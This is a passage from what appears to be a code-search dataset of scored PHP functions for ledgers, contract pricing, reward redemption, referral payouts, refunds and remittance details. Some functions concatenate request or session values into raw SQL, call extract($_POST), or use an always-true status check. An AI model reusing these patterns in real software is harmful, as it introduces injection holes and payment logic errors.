\"'\", NULL, FALSE);\r\n $this->db->join('ms_supplier', 'supid=trl_supid', 'left');\r\n $this->db->join('ms_pelanggan', 'pelid=trl_pelid', 'left');\r\n $this->db->join('ms_cost_center', 'cc_kode= trl_ccid and cc_cbid=trl_cbid', 'left');\r\n if (!empty($var_recieve['cbid'])) {\r\n $this->db->where('trl_cbid', $var_recieve['cbid']);\r\n }\r\n if (!empty($var_recieve['coa'])) {\r\n $this->db->where('trl_coa', $var_recieve['coa']);\r\n }\r\n if (!empty($var_recieve['pelid'])) {\r\n $this->db->where('trl_nodoc', $var_recieve['pelid']);\r\n }\r\n if (!empty($var_recieve['ccid'])) {\r\n $this->db->where('trl_ccid', $var_recieve['ccid']);\r\n }\r\n if (!empty($var_recieve['nota'])) {\r\n $this->db->where('trl_nota', $var_recieve['nota']);\r\n }\r\n $this->db->order_by('trl_date', 'ASC');\r\n $this->db->order_by('trl_trans', 'ASC');\r\n $this->db->order_by('trl_nomer', 'ASC');\r\n $this->db->order_by('trlid', 'ASC');\r\n $query = $this->db->get('ksr_ledger');\r\n return $query->result_array();\r\n }", "title": "" }, { "docid": "7cefb7c45ffe0848a1b9c48a3d2ccad6", "score": "0.48339033", "text": "public function raisePPA(){\r\n $contracts = Contract::where('type','PPA')->where('paid','<',11949)->where('paidDate','<',date('Y-m-d H:i:s', strtotime('-30 days')))->where('Add849',0)->get();\r\n foreach($contracts as $contract){\r\n $proj = $contract->project;\r\n if($proj != null){\r\n $pcs = $proj->clientServicesProject();\r\n if($pcs != null && $pcs->ppaSent_created_at!= '' && $contract->ppaTotalPrice() != 0 && $contract->price != $contract->paid && $proj->utility != \"IMG\"){\r\n $contract->price = $contract->ppaTotalPrice() + 849;\r\n $contract->Add849 = 1;\r\n $contract->save();\r\n Transaction::createTransaction('','','','RAISE_PRICE_CONTRACT_$849','CONTRACT_ID_'.$contract->id,$contract->project_id,'','PPA','','','');\r\n }\r\n }\r\n }\r\n }", "title": "" }, { "docid": "5d746542d6092081c4dfd23e09d8f897", "score": "0.48333716", "text": "function redeem() {\n\n $sessionpatient = $this->Session->read('patient');\n if ($this->request->data['set_account_type'] == 1) {\n\n $current_balance = $sessionpatient['customer_info']['ClinicUser']['local_points'];\n $isbuzzy = 1;\n } else {\n $current_balance = $sessionpatient['customer_info']['ClinicUser']['local_points'];\n $isbuzzy = 0;\n }\n\n if ($current_balance >= $this->request->data['which_reward_level']) {\n $to = $this->request->data['email'];\n $redeem_reward_array['Transaction'] = array(\n 'date' => date('Y-m-d H:i:s'),\n 'user_id' => $this->request->data['id'],\n 'authorization' => $this->request->data['which_reward_description'],\n 'card_number' => $this->request->data['card_number'],\n 'first_name' => $this->request->data['first_name'],\n 'last_name' => $this->request->data['last_name'],\n 'reward_id' => $this->request->data['which_reward_id'],\n 'activity_type' => 'Y',\n 'amount' => '-' . $this->request->data['which_reward_level'],\n 'clinic_id' => $sessionpatient['clinic_id'],\n 'status' => 'Redeemed',\n 'is_buzzydoc' => $isbuzzy);\n\n $totalpoint = $sessionpatient['customer_info']['ClinicUser']['local_points'] - $this->request->data['which_reward_level'];\n\n $this->Transaction->create();\n if ($this->Transaction->save($redeem_reward_array)) {\n $transaction_id = $this->Transaction->getLastInsertId();\n $template_array_red = $this->Api->save_notification($redeem_reward_array['Transaction'],2,$transaction_id);\n $this->ClinicUser->query(\"UPDATE `clinic_users` SET `local_points` = '\" . $totalpoint . \"' WHERE `user_id` =\" . $sessionpatient['customer_info']['user']['id'] . ' and clinic_id=' . $sessionpatient['clinic_id']);\n $this->Session->write('patient.customer_info.ClinicUser.local_points', $totalpoint);\n $this->loadModel('user');\n\n\n $Email = new CakeEmail(MAILTYPE);\n $Email->from(array(SUPER_ADMIN_EMAIL => 'BuzzyDoc'));\n $Email->to($sessionpatient['customer_info']['user']['email']);\n $Email->subject(\"Order Number : $transaction_id\")\n ->template('redeem_reward')\n ->emailFormat('html');\n $Email->viewVars(array(\n 'msg' => '<p>Hi ' . $sessionpatient['customer_info']['user']['first_name'] . ' ' . $sessionpatient['customer_info']['user']['last_name'] . ',</p>',\n 'redeem_data' => $this->request->data\n ));\n $Email->send();\n }\n\n $this->Session->setFlash('Order is redeemed successfully');\n return $this->redirect('/rewards/home');\n } else {\n $this->Session->setFlash('Insufficient balance.');\n return $this->redirect('/rewards/redeemreward/' . $this->request->data['which_reward_id']);\n }\n }", "title": "" }, { "docid": "d0658b3f394721ad94067f66c91c0fd6", "score": "0.48320514", "text": "public function referralpaymentProcessAction(){\n \n $this->_helper->layout()->disableLayout();\n $this->_helper->viewRenderer->setNoRender(true); \n \n $objCore = Engine_Core_Core::getInstance();\n $realobj = $objCore->getAppSetting();\n $apikey = $realobj->pagar->ApiKey;\n \n $paymentnewtable = Admin_Model_PaymentNew::getInstance();\n $teachingclass = Admin_Model_TeachingClasses::getInstance();\n $teachersstudents = Admin_Model_Classenroll::getInstance();\n $uservideostatus = Admin_Model_UserVideoStatus::getInstance();\n $classreviewscount = Admin_Model_ClassesReview::getInstance();\n $paymentformulamodal = Admin_Model_PaymentFormula::getInstance();\n $mailer = Engine_Mailer_Mailer::getInstance();\n $projects = Admin_Model_Projects::getInstance(); \n $teacherpaymentmodal = Admin_Model_TeacherPayment::getInstance(); \n $referralPaymenttableModal = Admin_Model_ReferralPaymentTable::getInstance();\n $payinfo = $this->getRequest()->getParam('payinfo');\n \n $newpayusers = implode(',',$payinfo);\n $result = $referralPaymenttableModal->getReferalsByIds($newpayusers);\n \n $userrprocessarray = array();\n $i=0;\n foreach ($result as $value) {\n if((($value['total_earned'])*100)>=100){\n if(!empty($value['pagar_bank_id']) && ($value['pay_status'] == 0 || 3 || 5 || 6 )){\n $data[\"api_key\"] = $apikey;\n $data[\"amount\"] = $value['total_earned']*100;\n $data[\"bank_account_id\"] = $value['pagar_bank_id'];\n try {\n $params[\"url\"]='https://api.pagar.me/1/transfers';\n $params[\"parameters\"]= $data; \n $params[\"method\"]= \"POST\"; \n $rs= new RestClient($params);\n $result= $rs->run();\n if($result['code']=== 200){\n $pagarinfo = (array)json_decode($result['body']);\n $dat['transaction_id'] = $pagarinfo['id'];\n $updateresult = $referralPaymenttableModal->updateReferralPaymentInfo($value['ref_id'],$dat);\n if($updateresult){\n $userrprocessarray[$i]['useremail'] = 'Transaction is successful for this user of email id'.$value['email'];\n $template_name = 'Blank-transaction';\n \n $name = \"test\";\n $email = \"financeiro@fashionlearn.com.br\";\n $subject = \"payment\";\n\n $mergers = array(\n array(\n 'name' => 'text',\n 'content' => 'Transaction is successful for this user of email id <strong>'.$value['email'].'</strong>'\n )\n );\n\n $mresult = $mailer->sendtemplates($template_name, $email, $name, $subject, $mergers,\"financeiro@fashionlearn.com.br\"); \n }else{\n $userrprocessarray[$i]['useremail'] = 'Transaction is successful but the data is not updated for this user of email id <strong>'.$value['email'].'</strong>'; \n $template_name = 'Blank-transaction';\n \n $name = \"test\";\n $email =\"financeiro@fashionlearn.com.br\";\n $subject = \"payment\";\n\n $mergers = array(\n array(\n 'name' => 'text',\n 'content' => 'Transaction is successful but the data is not updated for this user of email id '.$value['email']\n )\n );\n\n $mresult = $mailer->sendtemplates($template_name, $email, $name, $subject, $mergers,\"financeiro@fashionlearn.com.br\"); \n \n }\n }else{\n $userrprocessarray[$i]['useremail'] = 'Error occurs while processing the transaction for the user of email id &nbsp <strong>'.$value['email'].'</strong>';\n $template_name = 'Blank-transaction';\n \n $name = \"test\";\n $email = \"financeiro@fashionlearn.com.br\";\n $subject = \"payment\";\n\n $mergers = array(\n array(\n 'name' => 'text',\n 'content' => 'Error occurs while processing the transaction for thie user of email id &nbsp <strong>'.$value['email'].'</strong>'\n )\n );\n\n $mresult = $mailer->sendtemplates($template_name, $email, $name, $subject, $mergers,\"financeiro@fashionlearn.com.br\"); \n }\n } catch (Exception $e) {\n \n } \n }else{\n $userrprocessarray[$i]['useremail'] = 'This user of email &nbsp <strong>'.$value['email'].'</strong> do not have neccessary info for processing the transactions'; \n $template_name = 'Blank-transaction';\n \n $name = \"test\";\n $email = \"financeiro@fashionlearn.com.br\";\n $subject = \"payment\";\n\n $mergers = array(\n array(\n 'name' => 'text',\n 'content' => 'This user of email <strong>'.$value['email'].'</strong> &nbsp do not have neccessary info for processing the transactions'\n )\n );\n\n $mresult = $mailer->sendtemplates($template_name, $email, $name, $subject, $mergers,\"financeiro@fashionlearn.com.br\"); \n }\n \n }else{\n if(!isset($det['referral_current_leftover'])){\n $det['referral_current_leftover'] = 0;\n }\n $det['referral_current_leftover']+= $value['total_earned'];\n $det['pay_status']= 6;\n $updateresult = $referralPaymenttableModal->updateReferralPaymentInfo($value['ref_id'],$det); \n $userrprocessarray[$i]['useremail'] = 'This user of email &nbsp <strong>'.$value['email'].'</strong> have salary less than 1$ and hence payment cannot be done , it will added to next month'; \n $template_name = 'Blank-transaction';\n \n $name = \"test\";\n $email = \"financeiro@fashionlearn.com.br\";\n $subject = \"payment\";\n\n $mergers = array(\n array(\n 'name' => 'text',\n 'content' => $userrprocessarray[$i]['useremail']\n )\n );\n\n $mresult = $mailer->sendtemplates($template_name, $email, $name, $subject, $mergers,\"financeiro@fashionlearn.com.br\"); \n }\n $i++; \n }\n \n echo json_encode($userrprocessarray);\n die(); \n\n}", "title": "" }, { "docid": "3780eda89c702f783ccf5c6d166e2a80", "score": "0.4831454", "text": "public function refund_company_payment_post($tenant_id, $user_id) {\n\n extract($_POST);\n\n $invoice_id = $invoice_hidden_id;\n\n $trainee_id = $trainee_hidden_id;\n\n if (!empty($invoice_id)) {\n\n if ($payment_type == 'CASH' || $payment_type == 'NETS') {\n\n $data = array(\n 'invoice_id' => $invoice_id,\n 'refund_on' => date('Y-m-d H:i:S', strtotime($refund_date)),\n 'refund_type' => 'COMP',\n 'mode_of_refund' => $payment_type,\n 'amount_refund' => round($cash_amount, 2),\n 'cheque_number' => NULL,\n 'cheque_date' => NULL,\n 'bank_name' => NULL,\n 'refnd_reason' => $refund_reason,\n 'refnd_reason_ot' => $other_reason,\n 'refund_by' => $user_id,\n );\n } elseif ($payment_type == 'CHQ') {\n\n $data = array(\n 'invoice_id' => $invoice_id,\n 'refund_on' => date('Y-m-d H:i:S', strtotime($refund_date)),\n 'refund_type' => 'COMP',\n 'mode_of_refund' => $payment_type,\n 'amount_refund' => round($cheque_amount, 2),\n 'cheque_number' => $cheque_number,\n 'cheque_date' => date('Y-m-d', strtotime($cheque_date)),\n 'bank_name' => $bank_name,\n 'refnd_reason' => $refund_reason,\n 'refnd_reason_ot' => $other_reason,\n 'refund_by' => $user_id,\n );\n }\n\n\n\n $this->db->trans_start();\n\n\n\n $this->db->insert('enrol_refund', $data);\n\n $r_paid = date('Y-m-d H:i:S', strtotime($refund_date));\n\n foreach ($trainee_selected as $k => $v) {\n\n if (($trainee[$v] == 1) || ($trainee[$v] == 2)) {\n\n $breakup_data = array(\n 'invoice_id' => $invoice_id,\n 'refund_date' => $r_paid,\n 'user_id' => $v,\n 'refund_amount' => round($amount_paying[$v], 2),\n 'refund_by' => $user_id,\n );\n\n $this->db->insert('enrol_refund_brkup_dt', $breakup_data);\n\n if ($amount_check[$v] == $amount_paying[$v]) {\n\n $ce_data = array(\n 'payment_status' => 'NOTPAID'\n );\n } else {\n\n $ce_data = array(\n 'payment_status' => 'PARTPAID'\n );\n }\n\n $this->db->where('user_id', $v);\n\n $this->db->where('pymnt_due_id', $payment_due_id);\n\n $this->db->update('class_enrol', $ce_data);\n }\n }\n\n $this->db->trans_complete();\n\n if ($this->db->trans_status() === FALSE) {\n\n return FALSE;\n }\n\n\n\n return TRUE;\n } else {\n\n return FALSE;\n }\n }", "title": "" }, { "docid": "5e41bb55c71eee8ef995aa40a68ab7d9", "score": "0.4828828", "text": "public function rollBack()\n {\n return $this->_adapter->rollBack();\n }", "title": "" }, { "docid": "c1f33286cca52bedbeb093a628c3016a", "score": "0.48279437", "text": "public function getTopDisActivityDtl(){\n\t\t\n\t\t// fetch all activities matching city id from calender for now and next days\n\t\t $sqlActsFromCalender=\"SELECT distinct(cal.sub_activity_type_id),act.activity_id,opd.id,sad.currency_code FROM \".parent::SUFFIX.\"calender cal \n\t\t\t\t\t inner join \".parent::SUFFIX.\"sub_activity_type sat on cal.sub_activity_type_id = sat.id\n\t\t\t\t\t inner join \".parent::SUFFIX.\"sub_activity_detail sad on cal.sub_activity_id = sad.sub_activity_id\n\t\t\t\t\t inner join \".parent::SUFFIX.\"booker_activities act on sad.activity_id = act.activity_id\n\t\t\t\t\t inner join \".parent::SUFFIX.\"country cnt on act.country_id = cnt.country_id\n\t\t\t\t\t inner join \".parent::SUFFIX.\"city City on act.city_id=City.city_id\n\t\t\t\t\t inner join \".parent::SUFFIX.\"other_price_details opd on cal.other_price=opd.id\n\t\t\t\t\t where opd.price_type_name='Adult Price' and act.active='yes' and cal.cal_date=curdate() and cal.discounted='yes' and cal.is_price='yes' group by act.activity_id\";\n\t\t$this->result=$this->query($sqlActsFromCalender);\n\t\t$arrActivities=array();\n\t\twhile($this->getRow())\n\t\t{\n\t\t\t\t$arrActivities[]=array($this->getField(\"sub_activity_type_id\"),$this->getField(\"activity_id\"),$this->getField(\"id\"),$this->getField(\"currency_code\"));\n\t\t}\n\t\t/*echo \"<pre>\";\n\t\tprint_r($arrActivities);\n\t\techo \"</pre>\";*/\n\t\t$arrReturnInfo=array();\n\t\t// ok now you get all the sub activities from calender. Now fetch the lastest price info and other related information for this sub activity\n\t\tforeach($arrActivities as $key=>$theSubActivity)\n\t\t{\n\t\t\t$activity_id=$theSubActivity[1];\n\t\t\t$subTypeInfo=array();\n\t\t\t$subTypeInfo=$this->getSubTypeId($activity_id);\t\n\t\t\t$arrReturnInfo[]=$this->getActivityDetailsTimeWiseForDiscounted($subTypeInfo[0],$theSubActivity[1],$subTypeInfo[2],$theSubActivity[3],$subTypeInfo[1]);\n\t\t}\n\t\t/*foreach($arrActivities as $theSubActivity)\n\t\t{\n\t\t\t$arrReturnInfo[]=$this->getActivityDetailsTimeWiseForDiscounted($theSubActivity[0],$theSubActivity[1],$theSubActivity[2],$theSubActivity[3]);\n\t\t}*/\n\t\t\n\t/*\techo \"<br>\";\n\t\t\techo \"<pre>\";\n\t\tprint_r($arrReturnInfo);\n\t\t\techo \"</pre>\";*/\n\t\treturn $arrReturnInfo;\n\t}", "title": "" }, { "docid": "2ad0c262060f9be2d4e45181f0b47e4f", "score": "0.48275438", "text": "public function getQuotationPreviousNextData($headerData,$quotationId)\n\t{\n\t\t//database selection\n\t\t$database = \"\";\n\t\t$constantDatabase = new ConstantClass();\n\t\t$databaseName = $constantDatabase->constantDatabase();\n\t\t\n\t\tDB::beginTransaction();\n\t\t$quotationData = DB::connection($databaseName)->select(\"select \n\t\tquotation_bill_id,\n\t\tproduct_array,\n\t\tquotation_number,\n\t\ttotal,\n\t\ttotal_discounttype,\n\t\ttotal_discount,\n\t\textra_charge,\n\t\ttax,\n\t\tgrand_total,\n\t\tremark,\n\t\tentry_date,\n\t\tclient_id,\n\t\tcompany_id,\n\t\tjf_id,\n\t\tcreated_at,\n\t\tupdated_at \n\t\tfrom quotation_bill_dtl \n\t\twhere company_id = '\".$headerData['companyid'][0].\"' and\n\t\tdeleted_at='0000-00-00 00:00:00' and\n\t\tquotation_bill_id='\".$quotationId.\"'\");\n\t\tDB::commit();\n\t\treturn $quotationData;\n\t}", "title": "" }, { "docid": "529dddfee88e39f55cbc1a2f9a0febb8", "score": "0.48254436", "text": "public function restored(Refund $refund)\n {\n //\n }", "title": "" }, { "docid": "a44a2f422f73d157c2b156f6aaf5eeb6", "score": "0.48208988", "text": "function doRefund($out_trade_no, $totalmoney, $refundmoney)\n {\n }", "title": "" }, { "docid": "8f15679794fdfbd0461ed20dc5d4c8d9", "score": "0.4814183", "text": "public function getTransactionDetail(Transaction $transaction ,$limit, $page)\n {\n if( $result = parent::getTransactionDetail($transaction, $limit, $page) )\n {\n $result->transaction->setItems($result->transaction_items);\n if( $result->transaction instanceof RemittanceTransaction )\n {\n $isCashIn = false;\n if( $result->transaction->isCashIn() )\n $isCashIn = true;\n\n $remittanceRecordService = RemittanceRecordServiceFactory::build();\n\n $countryServ = CountryServiceFactory::build();\n $sysServ = SystemCodeServiceFactory::build();\n $prelimCheckServ = PrelimCheckServiceFactory::build();\n\n $remittanceRecordService->setAccountService($this->getAccountService());\n if( $remittance = $remittanceRecordService->getByTransactionId($result->transaction->getId(), $isCashIn) )\n {\n\n $remittance->setApprovalRequired('N/A');\n if( empty($remittance->getApprovalStatus()) )\n {\n $remittance->setApprovalStatus('N/A');\n }\n $remittanceAttributeServ = RemittanceAttributeServiceFactory::build();\n $attributes = $remittanceAttributeServ->getAllRemittanceAttribute($remittance->getId());\n if( !empty($attributes) )\n {\n foreach($attributes as $attr)\n {\n if($attr->getAttribute()->getCode() == AttributeCode::REJECT_REASON || $attr->getAttribute()->getCode()==AttributeCode::APPROVE_REASON ){\n $remittance->setReason( $attr->getValue() );\n }\n if($attr->getAttribute()->getCode() == AttributeCode::PIN_NUMBER ){\n $remittance->setPinNumber( $attr->getValue() );\n }\n if($attr->getAttribute()->getCode() == AttributeCode::REFERENCE_NUMBER ){\n $remittance->setReferenceNumber( $attr->getValue() );\n }\n if($attr->getAttribute()->getCode() == AttributeCode::PARTNER_SYSTEM ){\n $remittance->setPartnerSystem( $attr->getValue() );\n }\n }\n }\n\n $remittanceInfo = $remittance->getSelectedField(array('id', 'remittanceID', 'status', 'display_rate', 'from_amount', 'to_amount',\n 'is_face_to_face_trans', 'is_face_to_face_recipient', 'is_home_collection', 'lat', 'lon', 'created_at'));\n\n $remittanceInfo['prelim_check_status'] = 'N/A';\n $remittanceInfo['prelim_check_failed_reason'] = NULL;\n\n if ($prelimCheckResult = $prelimCheckServ->getPrelimCheckResult($remittance->getId())) {\n\n $remittanceInfo['prelim_check_status'] = $prelimCheckResult->getCheckResult();\n $remittanceInfo['prelim_check_failed_reason'] = $prelimCheckResult->getFailedReason();\n }\n\n $remittanceInfo['in_transaction_id'] = $remittance->getInTransactionId();\n $remittanceInfo['out_transaction_id'] = $remittance->getOutTransactionId();\n\n $remittanceInfo['in_transactionID'] = $remittance->getInTransaction()->getTransactionID();\n $remittanceInfo['out_transactionID'] = $remittance->getOutTransaction()->getTransactionID();\n\n $in_status = $sysServ->getById($remittance->getInTransaction()->getStatus()->getId());\n $out_status = $sysServ->getById($remittance->getOutTransaction()->getStatus()->getId());\n $remittanceInfo['in_transaction_status'] = $in_status->getDisplayName();\n $remittanceInfo['out_transaction_status'] = $out_status->getDisplayName();\n $remittanceInfo['cashout_expiry_at'] = $remittance->getCashOutExpiryDate()->getString();\n $remittanceInfo['cashout_expiry_period'] = $remittance->getCashOutExpiryPeriodInDay();\n\n $remittanceInfo['fees_charged'] = 0;\n\n foreach($result->transaction_items as $item){\n if(in_array($item->getItemType()->getCode(),\n array(ItemType::CORPORATE_SERVICE_FEE, ItemType::PAYMENT_FEE)))\n {\n $remittanceInfo['fees_charged'] += $item->getNetAmount();\n }\n }\n $remittanceInfo['approval_required'] = $remittance->isApprovalRequired();\n $remittanceInfo['approval_status'] = $remittance->getApprovalStatus();\n $remittanceInfo['approved_rejected_at'] = $remittance->getApprovedRejectedAt()->getString();\n $remittanceInfo['approved_rejected_by'] = $remittance->getApprovedRejectedBy();\n $remittanceInfo['approved_rejected_by_name'] = null;\n if($remittance->getApprovedRejectedBy() != NULL) {\n if($userApproverRejecter = $this->getAccountService()->getUser(null, $remittance->getApprovedRejectedBy())) {\n $remittanceInfo['approved_rejected_by_name'] = $userApproverRejecter->getFullName();\n }\n }\n $remittanceInfo['approve_reject_remark'] = $remittance->getApproveRejectRemark();\n $remittanceInfo['reason'] = $remittance->getReason();\n $remittanceInfo['pin_number'] = $remittance->getPinNumber();\n $remittanceInfo['reference_number'] = $remittance->getReferenceNumber();\n $remittanceInfo['partner_system'] = $remittance->getPartnerSystem();\n\n $remittanceInfo['from_country_currency_code'] = $remittance->getInTransaction()->getCountryCurrencyCode();\n $remittanceInfo['to_country_currency_code'] = $remittance->getOutTransaction()->getCountryCurrencyCode();\n $remittanceInfo['is_international'] = $remittance->isInternational();\n\n AddressNameExtractor::extract($remittance->getSender());\n $remittanceInfo['sender'] = $remittance->getSender()->getSelectedField(array('id', 'name', 'full_name', 'host_country_code','mobile_no','accountID','host_identity_card','host_address'));\n $remittanceInfo['sender']['id_type'] = $remittance->getSender()->getAttributes()->hasAttribute('id_type');\n $remittanceInfo['sender']['nationality'] = $remittance->getSender()->getAttributes()->hasAttribute('nationality');\n\n $remittanceInfo['sender']['country'] = NULL;\n if( $senderCountry = $countryServ->getCountryInfo($remittanceInfo['sender']['host_country_code']) )\n $remittanceInfo['sender']['country'] = $senderCountry->getName();\n\n $remittanceInfo['sender'][AttributeCode::SOURCE_OF_INCOME] = $remittance->getSender()->getAttributes()->hasAttribute(AttributeCode::SOURCE_OF_INCOME);\n\n $remittanceInfo['recipient'] = $remittance->getRecipient()->getSelectedField(array('id', 'user_profile_id', 'recipient_alias', 'recipient_dialing_code', 'recipient_mobile_number', 'host_address'));\n $remittanceInfo['recipient'][AttributeCode::PURPOSE_OF_REMITTANCE] = $remittance->getRecipient()->getAttributes()->hasAttribute(AttributeCode::PURPOSE_OF_REMITTANCE);\n $remittanceInfo['recipient'][AttributeCode::RELATIONSHIP_TO_SENDER] = $remittance->getRecipient()->getAttributes()->hasAttribute(AttributeCode::RELATIONSHIP_TO_SENDER);\n $remittanceInfo['recipient'][AttributeCode::RESIDENTIAL_COUNTRY] = $remittance->getRecipient()->getAttributes()->hasAttribute(AttributeCode::RESIDENTIAL_COUNTRY);\n $remittanceInfo['recipient'][AttributeCode::RESIDENTIAL_PROVINCE] = $remittance->getRecipient()->getAttributes()->hasAttribute(AttributeCode::RESIDENTIAL_PROVINCE);\n $remittanceInfo['recipient'][AttributeCode::RESIDENTIAL_CITY] = $remittance->getRecipient()->getAttributes()->hasAttribute(AttributeCode::RESIDENTIAL_CITY);\n $remittanceInfo['recipient'][AttributeCode::FULL_NAME] = $remittance->getRecipient()->getAttributes()->hasAttribute(AttributeCode::FULL_NAME);\n $remittanceInfo['recipient'][AttributeCode::RESIDENTIAL_POST_CODE] = $remittance->getRecipient()->getAttributes()->hasAttribute(AttributeCode::RESIDENTIAL_POST_CODE);\n\n if( $remittanceInfo['recipient'][AttributeCode::RESIDENTIAL_COUNTRY] )\n {\n $remittanceInfo['recipient']['country'] = NULL;\n if( $recipientCountry = $countryServ->getCountryInfo($remittanceInfo['recipient'][AttributeCode::RESIDENTIAL_COUNTRY]) )\n $remittanceInfo['recipient']['country'] = $recipientCountry->getName();\n }\n\n if( $remittanceInfo['recipient'][AttributeCode::RESIDENTIAL_PROVINCE] )\n {\n $remittanceInfo['recipient']['province'] = NULL;\n if( $recipientProvince = $countryServ->getProvinceInfo($remittanceInfo['recipient'][AttributeCode::RESIDENTIAL_PROVINCE]) )\n $remittanceInfo['recipient']['province'] = $recipientProvince->getName();\n }\n\n if( $remittanceInfo['recipient'][AttributeCode::RESIDENTIAL_CITY] )\n {\n $remittanceInfo['recipient']['city'] = NULL;\n if( $recipientCity = $countryServ->getCityInfo($remittanceInfo['recipient'][AttributeCode::RESIDENTIAL_CITY]) )\n $remittanceInfo['recipient']['city'] = $recipientCity->getName();\n }\n\n $remittanceInfo['recipient']['accountID'] = $remittance->getRecipient()->getRecipientUser()->getAccountID();\n $remittanceInfo['recipient']['collectionInfo'] = NULL;\n\n\n if($remittance->getCollectionInfo()) {\n $collection_info = json_decode($remittance->getCollectionInfo(), true);\n $recipientCollectionInfo = new \\StdClass;\n $recipientCollectionInfo->payment_mode = null;\n $recipientCollectionInfo->payment_mode_name = null;\n $recipientCollectionInfo->option = array();\n $recipientCollectionInfo->payment_mode = $collection_info['payment_code'];\n\n if( $recipientCollectionInfo->payment_mode )\n {\n $paymentService = PaymentServiceFactory::build();\n if( $paymentMode = $paymentService->getPaymentModeInfo($recipientCollectionInfo->payment_mode) )\n {\n $recipientCollectionInfo->payment_mode_name = $paymentMode->getName();\n $recipientCollectionInfo->need_approval = $paymentMode->getNeedApproval();\n }\n }\n\n if( isset($collection_info['option']) && is_array($collection_info['option'])) {\n $collection_info['option']['account_no'] = NULL;\n if(array_key_exists('bank_account', $collection_info['option'])) {\n $collection_info['option']['account_no'] = $collection_info['option']['bank_account'];\n }\n $recipientCollectionInfo->option = json_encode($collection_info['option']);\n }\n\n $remittanceInfo['recipient']['collectionInfo'] = $recipientCollectionInfo;\n }\n/*\n if( $collection_mode = $remittance->getInTransaction()->getConfirmCollectionMode() )\n {\n $remittanceInfo['recipient']['collectionInfo'] = $remittance->getRecipient()->getCollectionInfos()->hasPaymentCode($collection_mode);\n }\n*/\n $remittanceInfo['remittance_company'] = null;\n if( $config = $this->_getRemittanceConfigInfo($remittance) )\n $remittanceInfo['remittance_company'] = $config->getRemittanceCompany();\n\n\n //if home collection, get info from delivery service\n $remittanceInfo['home_collection'] = NULL;\n if((bool)$remittance->getIsHomeCollection()) {\n $delivery_service = DeliveryServiceFactory::build($this->getDeliveryClient());\n if ($deliveryInfo = $delivery_service->getDeliveryListByTransactionID($remittance->getInTransaction()->getTransactionID())) {\n\n $delivery = array();\n $shipping_address = array();\n \n if (array_key_exists('delivery', $deliveryInfo)) {\n $deliveryObj = $deliveryInfo['delivery'];\n if ($deliveryObj instanceof Delivery) {\n $delivery['id'] = $deliveryObj->getId();\n $delivery['deliveryID'] = $deliveryObj->getDeliveryID();\n $delivery['status'] = $deliveryObj->getStatus()->getCode();\n $delivery['remarks'] = $deliveryObj->getRemarks();\n $delivery['delivery_transactionID'] = $deliveryObj->getDeliveryTransactionID();\n $delivery['scheduled_at'] = $deliveryObj->getScheduledAt()->getString();\n $delivery['scheduled_by'] = $deliveryObj->getScheduledBy();\n if($deliveryObj->getScheduledByUser() instanceof User) {\n $delivery['scheduled_by_name'] = $deliveryObj->getScheduledByUser()->getName();\n $delivery['scheduled_by_accountID'] = $deliveryObj->getScheduledByUser()->getAccountID();\n }\n $delivery['updated_at'] = $deliveryObj->getUpdatedAt()->getString();\n }\n }\n if (array_key_exists('item', $deliveryInfo)) {\n $deliveryItemCollObj = $deliveryInfo['item'];\n if ($deliveryItemCollObj instanceof DeliveryItemCollection) {\n foreach ($deliveryItemCollObj as $deliveryIitem) {\n if ($deliveryIitem instanceof DeliveryItem) {\n $delivery['fee'] = $deliveryIitem->getFee();\n $delivery['delivery_mode_code'] = $deliveryIitem->getDeliveryModeCode();\n $delivery['delivery_mode_name'] = $deliveryIitem->getDeliveryModeName();\n $delivery['avg_delivery_time'] = $deliveryIitem->getAvgDeliveryTime();\n break;\n }\n }\n }\n }\n if (array_key_exists('shipping_address', $deliveryInfo)) {\n $shippingAddressObj = $deliveryInfo['shipping_address'];\n if ($shippingAddressObj instanceof RecipientAddress) {\n $shipping_address['id'] = $shippingAddressObj->getId();\n $shipping_address['recipient_user_profile_id'] = $shippingAddressObj->getRecipientUserProfileId();\n $shipping_address['name'] = $shippingAddressObj->getName();\n $shipping_address['dialing_code'] = $shippingAddressObj->getDialingCode();\n $shipping_address['mobile_number'] = $shippingAddressObj->getMobileNumber();\n $shipping_address['combined_mobile_number'] = $shippingAddressObj->getDialingCode() . $shippingAddressObj->getMobileNumber();\n $shipping_address['country_code'] = $shippingAddressObj->getCountryCode();\n $shipping_address['province'] = $shippingAddressObj->getProvince();\n $shipping_address['city'] = $shippingAddressObj->getCity();\n $shipping_address['address'] = $shippingAddressObj->getAddress();\n $shipping_address['postal_code'] = $shippingAddressObj->getPostalCode();\n }\n }\n\n $remittanceInfo['home_collection'] = $delivery;\n $remittanceInfo['home_collection']['collection_address'] = $shipping_address;\n }\n }\n\n /*\n * Add agent name filed. = Payment->agent_id.\n */\n\n $remittanceInfo['agent_name'] = NULL;\n\n if ($result->payment != NULL) {\n\n if ($agentInfo = $this->getAccountService()->getUser(NULL,$result->payment[0]->agent_id)) {\n \n $remittanceInfo['agent_name'] = $agentInfo->getFullName();\n }\n }\n\n /*\n * Add main name filed. = remittance_company->service_provider_id.\n */\n\n $remittanceInfo['main_agent_name'] = NULL;\n $remittanceInfo['remco_user'] = NULL;\n $remittanceInfo['remco_recipient'] = NULL;\n $remittanceInfo['customerID'] = NULL;\n\n if ($remittanceInfo['remittance_company'] != NULL) {\n\n if ($mainAgentInfo = $this->getAccountService()->getUser(NULL,$remittanceInfo['remittance_company']->getServiceProviderId())) {\n \n $remittanceInfo['main_agent_name'] = $mainAgentInfo->getFullName();\n }\n \n //get services\n $remcoUserServ = RemittanceCompanyUserServiceFactory::build();\n $remcoRecipientServ = RemittanceCompanyRecipientServiceFactory::build();\n\n //get remco\n if($remcoUser = $remcoUserServ->getByCompanyAndUser($remittanceInfo['remittance_company'], $remittance->getSender()->getId()) )\n {\n $remittanceInfo['customerID'] = $remcoUser->getCustomerID();\n $remittanceInfo['remco_user'] = $remcoUser->getSelectedField(array('id','customerID','user_status'));\n } \n \n if($remcoRecipient = $remcoRecipientServ->getByCompanyAndRecipient($remittanceInfo['remittance_company'], $remittance->getRecipient()->getId()) )\n $remittanceInfo['remco_recipient'] = $remcoRecipient->getSelectedField(array('id','recipient_status'));\n }\n \n $timezone_format = NULL;\n if ($login_user_info = $this->getAccountService()->getUser(NULL,$this->getUpdatedBy())) {\n\n if (isset($login_user_info->getHostAddress()->country)) {\n\n $countryCode = $login_user_info->getHostAddress()->country;\n\n if($countryInfo = $countryServ->getCountryInfo($countryCode) )\n {\n $timezone_format = $countryInfo->getTimezoneFormat();\n $temp_created = IappsDateTime::fromString($remittanceInfo['created_at']);\n $temp_created->setTimeZoneFormat($timezone_format);\n $createdAt 